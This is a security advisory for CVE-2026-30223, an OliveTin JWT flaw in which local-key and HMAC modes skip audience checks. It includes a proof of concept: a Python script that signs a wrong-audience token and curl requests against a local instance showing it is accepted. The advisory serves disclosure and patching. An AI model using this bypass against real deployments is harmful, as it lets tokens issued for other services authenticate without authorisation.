Skip to content

GHSA-g962-2j28-3cg9 CVE-2026-30223 GO-2026-4622

OliveTin has JWT Audience Validation Bypass in Local Key and HMAC Modes

High Go
Severity
8.8 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.33%
Chance of exploitation in the next 30 days. Higher than 26.44% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-287 Improper Authentication
CWE-345 Insufficient Verification of Data Authenticity
Fix
0.0.0-20260304231339-e97d8ecbd8d6
Upgrade github.com/OliveTin/OliveTin to this version or later

Description

Summary

When JWT authentication is configured using either:

  • authJwtPubKeyPath (local RSA public key), or
  • authJwtHmacSecret (HMAC secret),

the configured audience value (authJwtAud) is not enforced during token parsing. As a result, validly signed JWT tokens with an incorrect aud claim are accepted for authentication. This allows authentication using tokens intended for a different audience/service.

Details

Affected Code

File: jwt.go Lines: 51–59, 144–157, 161–168

Current Behavior

Remote JWKS Mode (Correct):

return jwt.Parse(jwtToken, jwksVerifier.Keyfunc, jwt.WithAudience(cfg.AuthJwtAud))

Audience validation is enforced.

Local Public Key Mode (Vulnerable):

return jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })

No jwt.WithAudience() option is provided.

HMAC Mode (Vulnerable):

return jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })

No jwt.WithAudience() option is provided.

Why This Is Vulnerable: authJwtAud is ignored for authJwtPubKeyPath and authJwtHmacSecret modes, so wrong-audience tokens are accepted.

PoC

  1. Configure OliveTin

    Use a minimal config with JWT local key authentication:

    authJwtPubKeyPath: ./public.pem
    authJwtHeader: Authorization
    authJwtClaimUsername: sub
    authJwtAud: expected-audience
    
    authRequireGuestsToLogin: true
    
  2. Generate a Wrong-Audience Token

    python3 - <<EOF
    import jwt, datetime
    
    with open("private.pem") as f:
        key = f.read()
    
    token = jwt.encode(
        {
            "sub": "low",
            "aud": "wrong-audience",   # intentionally wrong
            "exp": datetime.datetime.utcnow() + datetime.timedelta(minutes=30)
        },
        key,
        algorithm="RS256"
    )
    
    print(token)
    EOF
    

    This prints the $WRONG_AUD_TOKEN.

  3. Test Without Token (Baseline)

    curl -i -X POST http://localhost:1337/api/WhoAmI \
      -H 'Content-Type: application/json' \
      -d '{}'
    

    Expected response:

    HTTP/1.1 401 Unauthorized
    
  4. Test With Wrong-Audience Token

    curl -i -X POST http://localhost:1337/api/WhoAmI \
      -H 'Content-Type: application/json' \
      -H "Authorization: Bearer $WRONG_AUD_TOKEN" \
      -d '{}'
    

    Expected response:

    HTTP/1.1 200 OK
    {"authenticatedUser":"low","provider":"jwt","usergroup":"","acls":[],"sid":""}
    

    Authentication succeeds even though the aud claim is incorrect.

Impact

An attacker who possesses a valid JWT signed by the configured key (or HMAC secret) but intended for a different audience can authenticate successfully.

This enables:

  • Cross-service token reuse
  • Authentication using tokens issued for other systems
  • Trust boundary violation in multi-service environments

This is particularly severe when:

  • OliveTin is deployed behind a centralized SSO provider
  • The same signing key is reused across services
  • Audience restrictions are relied upon for service isolation

This does not bypass ACL authorization. It is strictly an authentication validation flaw.

Affected versions

Go

PackageVulnerableFixed in
github.com/OliveTin/OliveTin
< 0.0.0-20260304231339-e97d8ecbd8d6
0.0.0-20260304231339-e97d8ecbd8d6

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/OliveTin/OliveTin Go → 0.0.0-20260304231339-e97d8ecbd8d6

go
go get github.com/OliveTin/OliveTin@v0.0.0-20260304231339-e97d8ecbd8d6 && go mod tidy

Severity breakdown

CVSS 3.1 8.8

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-287: Improper Authentication

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

How to prevent it
  • Architecture and Design: Use an authentication framework or library such as the OWASP ESAPI Authentication feature.

CWE-345: Insufficient Verification of Data Authenticity

The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-jm28-2wcr-qf3h
OliveTin: StartActionAndWait Endpoints Bypass `logs` Permission and Return Action Output
Medium Also affects github.com/OliveTin/OliveTin
GHSA-xc5w-4v5w-7x65
OliveTin OS Command Injection via Custom regex: Argument Type Bypassing Shell Safety Check
Medium Also affects github.com/OliveTin/OliveTin
GHSA-xpxj-f2fm-rqch
OliveTin: Unauthenticated DoS via OAuth2 State Memory Exhaustion (Unbounded Map Growth)
High Also affects github.com/OliveTin/OliveTin
GHSA-prj9-97mp-mwh2
OliveTin has Unvalidated `ot_`-prefixed Arguments that Bypass Input Filtering
Medium Also affects github.com/OliveTin/OliveTin
GHSA-f637-w7p2-m7fx
OliveTin: ValidateArgumentType API Endpoint's Missing Authentication Allows Action and Argument Enumeration
Low Also affects github.com/OliveTin/OliveTin
GHSA-7fq5-7wr8-rjwj
OliveTin has a Concurrent Template Parsing Race Condition which Leads to Cross-Request Command Contamination
High Also affects github.com/OliveTin/OliveTin
GHSA-xx6g-43w2-9g6g
OliveTin's email argument makes compliance harder, enables log injection
Medium Also affects github.com/OliveTin/OliveTin
GHSA-228v-wc5r-j8m7
OliveTin Vulnerable to Unauthorized Action Output Disclosure via EventStream
Medium Also affects github.com/OliveTin/OliveTin
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor